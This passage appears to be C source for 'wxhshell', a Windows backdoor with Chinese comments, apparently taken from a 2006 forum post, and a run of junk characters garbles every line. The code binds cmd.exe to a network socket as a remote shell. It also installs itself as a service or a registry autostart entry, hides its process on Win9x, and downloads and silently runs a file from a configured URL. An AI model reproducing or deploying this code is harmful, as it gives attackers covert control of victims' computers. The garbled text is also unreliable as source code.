  // 帮助 F?BS717qS%  
  case '?': { <( EyXV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wt?o 7R2  
    break; D:9 2\l  
  } bq NP#C  
  // 安装 ,EI:gLH  
  case 'i': { #K4*6LI  
    if(Install()) [Gtb+'8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O,'#C\   
    else ($8t%jVWJJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {[W(a<%bXm  
    break; ]Lm'RlV  
    } C6]OAUXy:F  
  // 卸载 "%@v++4y  
  case 'r': { X{\jK]O  
    if(Uninstall()) ),` 8eQC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v+6e;xl8  
    else  z)w-N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); orqJ[!u)`  
    break; y' [LNp V  
    } cU8xUpq  
  // 显示 wxhshell 所在路径 + >nr.,qo3  
  case 'p': { +qy6d7^  
    char svExeFile[MAX_PATH]; p!DP`Ouc3\  
    strcpy(svExeFile,"\n\r"); =wrP:wYF  
      strcat(svExeFile,ExeFile); RB$ z]/=  
        send(wsh,svExeFile,strlen(svExeFile),0); [Y8S[YY  
    break; q7_+}"i  
    } (s&&>M]r_  
  // 重启 ? JXa~.dA  
  case 'b': { UQPU"F7.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5jZiJw(  
    if(Boot(REBOOT)) E ]f)Os$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1m)M;^_  
    else { [>Fm [5x  
    closesocket(wsh); _ck[&Q  
    ExitThread(0); xaW{I7FfG  
    } JN(-.8<  
    break;  uMd. j$$  
    } BJy;-(JP  
  // 关机 pj8azFZ  
  case 'd': { G%:G eW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &%,DZA`  
    if(Boot(SHUTDOWN)) +}JM&bfK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J=H)JH3  
    else { GLUUY0  
    closesocket(wsh); Ow/@Z7~  
    ExitThread(0); ahGT4d`)9  
    } /XbW<dfl  
    break; c^9tYNn  
    } #ekM"p  
  // 获取shell {HrZ4xQnpV  
  case 's': { G;1?<3   
    CmdShell(wsh); /+[63=fl  
    closesocket(wsh); AK@L32-S  
    ExitThread(0); ."6[:MF  
    break; lr3mE  
  } d%ME@6K)  
  // 退出 nc?B6IV  
  case 'x': { lm0N5(XP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tv$sqVe9  
    CloseIt(wsh); $[ z y  
    break; wT_h!W  
    } $kPHxD!"  
  // 离开 a9Y5  
  case 'q': { @_yoX(.E&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]l;*$2w)  
    closesocket(wsh); 1[PMDS_X  
    WSACleanup(); bw S*]!*  
    exit(1); z&}-8JykH  
    break; go'j/4Tp  
        } /'wF2UR  
  } :dnJY%/q  
  } bF-"tm  
h{'t5&yY  
  // 提示信息 }NCL>l;q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -x*2t;%z{U  
} B\CN<<N>dD  
  } o\=n4;S  
HdX2YPYn;  
  return; 8%:]W^  
} ))T>jh   
 .\:J~(  
// shell模块句柄  $xgBKD  
int CmdShell(SOCKET sock) \'v(Xp6  
{ wCKj7y[  
STARTUPINFO si; {/8Q)2*>0  
ZeroMemory(&si,sizeof(si)); {eT.SO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I 3$dVls}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TO#Pz.)>B6  
PROCESS_INFORMATION ProcessInfo; B[o`k]]  
char cmdline[]="cmd"; kOrl\_!z3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !0}\&<8/m  
  return 0; WO*9+\[v  
} LKF/u` 0dP  
e %O0hE  
// 自身启动模式 k$i'v:c|:i  
int StartFromService(void) =o7}]k7  
{ md Gwh7/3  
typedef struct zsQoU&D 5  
{ l*=aMjd?  
  DWORD ExitStatus; EqB)sK/3  
  DWORD PebBaseAddress; N{Qxq>6 G  
  DWORD AffinityMask; L>9R4:g  
  DWORD BasePriority; ip:LcGt  
  ULONG UniqueProcessId; ;;U :Jtn2  
  ULONG InheritedFromUniqueProcessId; 9Kv|>#zff  
}   PROCESS_BASIC_INFORMATION; b[ w;i]2  
rofNZ;nu  
PROCNTQSIP NtQueryInformationProcess; q_fam,9  
}JgYCsF/f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8|g<X1H{M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8y2+&#$  
dK9Zg,DZL  
  HANDLE             hProcess; ]uh3R{a/  
  PROCESS_BASIC_INFORMATION pbi; LHYLC>J  
X$n(-65  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nv/[I,nw  
  if(NULL == hInst ) return 0; 7/Il L  
3iNkoBCg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $lwz-^1t.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )%Iv[TB[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,_ 2x{0w:>  
N_gD>6I  
  if (!NtQueryInformationProcess) return 0; Bi%x`4Lf  
1NLg _UBOK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r6.d s^  
  if(!hProcess) return 0; ~/#1G.H  
mTDVlw0dh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e@<?zS6  
Fke//- R  
  CloseHandle(hProcess); o>]`ac0b}Y  
dY!Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bn9;7`>.  
if(hProcess==NULL) return 0; t+Bf#:  
8?FueAM'  
HMODULE hMod; GZ#aj|  
char procName[255]; qSU| =  
unsigned long cbNeeded; ?h8{xa5b  
8{ c!).  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~mz%E  
P ,mN >  
  CloseHandle(hProcess); Gu0 ,)jy\  
# TkR  
if(strstr(procName,"services")) return 1; // 以服务启动 3R$Z[D-  
'Prxocxq  
  return 0; // 注册表启动 Ri*3ySyb  
} 2[yBD-":  
5]Ajf;W\  
// 主模块 $&I 'o  
int StartWxhshell(LPSTR lpCmdLine) ){;02^tX  
{ kL*0M<0 (  
  SOCKET wsl; qdD)e$XW,  
BOOL val=TRUE; JCniN";r[  
  int port=0; 9WG{p[  
  struct sockaddr_in door; vIGw6BJI  
T]9\VW4  
  if(wscfg.ws_autoins) Install(); es:2M |#O  
6QQfQ,  
port=atoi(lpCmdLine); tOl e>]  
u{H?4|'(  
if(port<=0) port=wscfg.ws_port; !  NV#U  
*?p|F&J  
  WSADATA data; j Ch=@<9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q4]4@96Aj  
kLSrj\6I[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?)4?V\$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;t#]2<d*  
  door.sin_family = AF_INET; W6c]-pc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +K",^6%1  
  door.sin_port = htons(port); / +K?  
WN]<q`.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '-$XX%TOAc  
closesocket(wsl); Rqip kx  
return 1; tfO#vw,@  
} YPDf Y<?v  
v6(E3)J7  
  if(listen(wsl,2) == INVALID_SOCKET) { V >-b`e  
closesocket(wsl); ~l[r a  
return 1; uq3{h B#  
} F"+o@9]  
  Wxhshell(wsl); iI1n2>V3y  
  WSACleanup(); /u<nLj1  
\K2*Q&>  
return 0; o89( h!  
z9/G4^qF  
} BHDML.r }M  
3Hi+Z}8  
// 以NT服务方式启动 dtStTT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -NGK@Yk22  
{ k`KGB  
DWORD   status = 0; <!d"E@%v@  
  DWORD   specificError = 0xfffffff; "8f?h%t  
j V3)2C}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h!@,8y[B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JtKp(k&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <i?a0  
  serviceStatus.dwWin32ExitCode     = 0; ^Mkk@F&1  
  serviceStatus.dwServiceSpecificExitCode = 0; ;!>Wz9  
  serviceStatus.dwCheckPoint       = 0; Qq& W3  
  serviceStatus.dwWaitHint       = 0; + xv!$gJEj  
z`Wt%tL(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :fcM:w&  
  if (hServiceStatusHandle==0) return; c,EBF\r8*  
\/`?  
status = GetLastError(); =JLh?Wx  
  if (status!=NO_ERROR) 2.uA|~qH  
{ 1 k8x%5p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pz_Oe,{.I  
    serviceStatus.dwCheckPoint       = 0; /lhz],w  
    serviceStatus.dwWaitHint       = 0; }Rvm &?~O  
    serviceStatus.dwWin32ExitCode     = status; sfT+i;p  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,:n| ?7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j-@kW'K  
    return; +>^7vq-\'  
  } ]w).8=I  
vYmSKS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -F/st  
  serviceStatus.dwCheckPoint       = 0; BcWcdr+}9  
  serviceStatus.dwWaitHint       = 0; `bI)<B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lz9#A.  
} 9;t]Hp_+K  
M6|I6M<  
// 处理NT服务事件,比如:启动、停止 5E\#%K[  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  }alj[)  
{ <~emx'F|  
switch(fdwControl) | $^;wP  
{ U 5w:"x  
case SERVICE_CONTROL_STOP: z$lF)r:Bc  
  serviceStatus.dwWin32ExitCode = 0; CBT>"sYE1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |f( ~@Q:  
  serviceStatus.dwCheckPoint   = 0; |k 2"_  
  serviceStatus.dwWaitHint     = 0; )+y G+  
  { I+ l%Sn#\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^>&k]T`  
  } NUJ~YWO;  
  return; Wl"0m1G  
case SERVICE_CONTROL_PAUSE: t G.(flW,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ITJ q  
  break; jn%kG ~]'Q  
case SERVICE_CONTROL_CONTINUE: F!!N9VIC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o5o^TW{  
  break; w FtN+  
case SERVICE_CONTROL_INTERROGATE: 5AeQQU  
  break; sd re#@n}  
}; \t4tiCw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z,7R;,qX  
} +t)n;JHN  
kYwb -;  
// 标准应用程序主函数 1$lh"fHU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1nhtM  
{ Zi$ziDz&  
)ukpJ z""  
// 获取操作系统版本 :\~+#/=:  
OsIsNt=GetOsVer(); ~i;fDQ&!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~ AQp|  
3:/'n  
  // 从命令行安装 9%)=`W  
  if(strpbrk(lpCmdLine,"iI")) Install(); O09ke-lC  
H5>hx {  
  // 下载执行文件 / jTT5  
if(wscfg.ws_downexe) { :6kjEI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h~Q)Uy5N(D  
  WinExec(wscfg.ws_filenam,SW_HIDE); >-< 8N-@"n  
} R>@uY( >dJ  
WP **a Bp  
if(!OsIsNt) { Q/>L_S  
// 如果时win9x,隐藏进程并且设置为注册表启动 2GmpCy`L"  
HideProc(); mY!iu(R1  
StartWxhshell(lpCmdLine); ?dZt[vAMn  
} NF$\^WvYSP  
else N[|Nxm0z/C  
  if(StartFromService()) X~.f7Ao[  
  // 以服务方式启动 9a$56GnW1  
  StartServiceCtrlDispatcher(DispatchTable); {NM+Oj,~'  
else KGHq rc  
  // 普通方式启动 `em9T oJV  
  StartWxhshell(lpCmdLine); SF ]@|  
1M3% fW  
return 0; U_yE& 6 T  
}
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只看该作者 1 发表于: 2006-10-10
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